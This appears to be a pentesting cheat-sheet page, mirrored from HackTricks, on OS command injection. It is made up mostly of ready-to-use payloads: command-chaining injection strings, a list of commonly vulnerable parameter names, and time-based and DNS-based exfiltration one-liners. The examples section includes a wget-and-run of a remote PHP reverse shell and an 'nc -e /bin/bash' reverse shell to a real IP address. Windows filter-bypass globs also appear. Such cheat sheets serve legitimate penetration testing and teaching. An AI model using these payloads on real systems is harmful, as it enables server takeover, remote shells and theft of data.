> For the complete documentation index, see [llms.txt](https://ck3r.gitbook.io/ck3r/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://ck3r.gitbook.io/ck3r/pentesting-web/command-injection.md).

# Command Injection

### [What is command Injection?](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#what-is-command-injection) <a href="#what-is-command-injection" id="what-is-command-injection"></a>

A **command injection** permits the execution of arbitrary operating system commands by an attacker on the server hosting an application. As a result, the application and all its data can be fully compromised. The execution of these commands typically allows the attacker to gain unauthorized access or control over the application's environment and underlying system.

#### [Context](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#context) <a href="#context" id="context"></a>

Depending on **where your input is being injected** you may need to **terminate the quoted context** (using `"` or `'`) before the commands.

### [Command Injection/Execution](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#command-injectionexecution) <a href="#command-injectionexecution" id="command-injectionexecution"></a>

bash

```bash
#Both Unix and Windows supported
ls||id; ls ||id; ls|| id; ls || id # Execute both
ls|id; ls |id; ls| id; ls | id # Execute both (using a pipe)
ls&&id; ls &&id; ls&& id; ls && id #  Execute 2º if 1º finish ok
ls&id; ls &id; ls& id; ls & id # Execute both but you can only see the output of the 2º
ls %0A id # %0A Execute both (RECOMMENDED)

#Only unix supported
`ls` # ``
$(ls) # $()
ls; id # ; Chain commands
ls${LS_COLORS:10:1}${IFS}id # Might be useful

#Not executed but may be interesting
> /var/www/html/out.txt #Try to redirect the output to a file
< /etc/passwd #Try to send some input to the command
```

#### [**Limition** Bypasses](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#limition-bypasses) <a href="#limition-bypasses" id="limition-bypasses"></a>

If you are trying to execute **arbitrary commands inside a linux machine** you will be interested to read about this **Bypasses:**

[Bypass Linux Restrictions](https://book.hacktricks.wiki/en/linux-hardening/bypass-bash-restrictions/index.html)

#### [**Examples**](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#examples) <a href="#examples" id="examples"></a>

```
vuln=127.0.0.1 %0a wget https://web.es/reverse.txt -O /tmp/reverse.php %0a php /tmp/reverse.php
vuln=127.0.0.1%0anohup nc -e /bin/bash 51.15.192.49 80
vuln=echo PAYLOAD > /tmp/pay.txt; cat /tmp/pay.txt | base64 -d > /tmp/pay; chmod 744 /tmp/pay; /tmp/pay
```

#### [Parameters](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#parameters) <a href="#parameters" id="parameters"></a>

Here are the top 25 parameters that could be vulnerable to code injection and similar RCE vulnerabilities (from [link](https://twitter.com/trbughunters/status/1283133356922884096)):

```
?cmd={payload}
?exec={payload}
?command={payload}
?execute{payload}
?ping={payload}
?query={payload}
?jump={payload}
?code={payload}
?reg={payload}
?do={payload}
?func={payload}
?arg={payload}
?option={payload}
?load={payload}
?process={payload}
?step={payload}
?read={payload}
?function={payload}
?req={payload}
?feature={payload}
?exe={payload}
?module={payload}
?payload={payload}
?run={payload}
?print={payload}
```

#### [Time based data exfiltration](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#time-based-data-exfiltration) <a href="#time-based-data-exfiltration" id="time-based-data-exfiltration"></a>

Extracting data: char by char

```
swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == s ]; then sleep 5; fi
real    0m5.007s
user    0m0.000s
sys 0m0.000s

swissky@crashlab▸ ~ ▸ $ time if [ $(whoami|cut -c 1) == a ]; then sleep 5; fi
real    0m0.002s
user    0m0.000s
sys 0m0.000s
```

#### [DNS based data exfiltration](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#dns-based-data-exfiltration) <a href="#dns-based-data-exfiltration" id="dns-based-data-exfiltration"></a>

Based on the tool from `https://github.com/HoLyVieR/dnsbin` also hosted at dnsbin.zhack.ca

```
1. Go to http://dnsbin.zhack.ca/
2. Execute a simple 'ls'
for i in $(ls /) ; do host "$i.3a43c7e4e57a8d0e2057.d.zhack.ca"; done
```

```
$(host $(wget -h|head -n1|sed 's/[ ,]/-/g'|tr -d '.').sudo.co.il)
```

Online tools to check for DNS based data exfiltration:

* dnsbin.zhack.ca
* pingb.in

#### [Filtering bypass](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#filtering-bypass) <a href="#filtering-bypass" id="filtering-bypass"></a>

[**Windows**](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#windows)

```
powershell C:**2\n??e*d.*? # notepad
@^p^o^w^e^r^shell c:**32\c*?c.e?e # calc
```

[**Linux**](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#linux)

[Bypass Linux Restrictions](https://book.hacktricks.wiki/en/linux-hardening/bypass-bash-restrictions/index.html)

### [Brute-Force Detection List](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#brute-force-detection-list) <a href="#brute-force-detection-list" id="brute-force-detection-list"></a>

[Auto\_Wordlists/wordlists/command\_injection.txt at main \xc2\xb7 carlospolop/Auto\_Wordlists \xc2\xb7 GitHub](https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/command_injection.txt)

### [References](https://book.hacktricks.wiki/en/pentesting-web/command-injection.html#references) <a href="#references" id="references"></a>

* <https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/Command%20Injection>
* <https://portswigger.net/web-security/os-command-injection>


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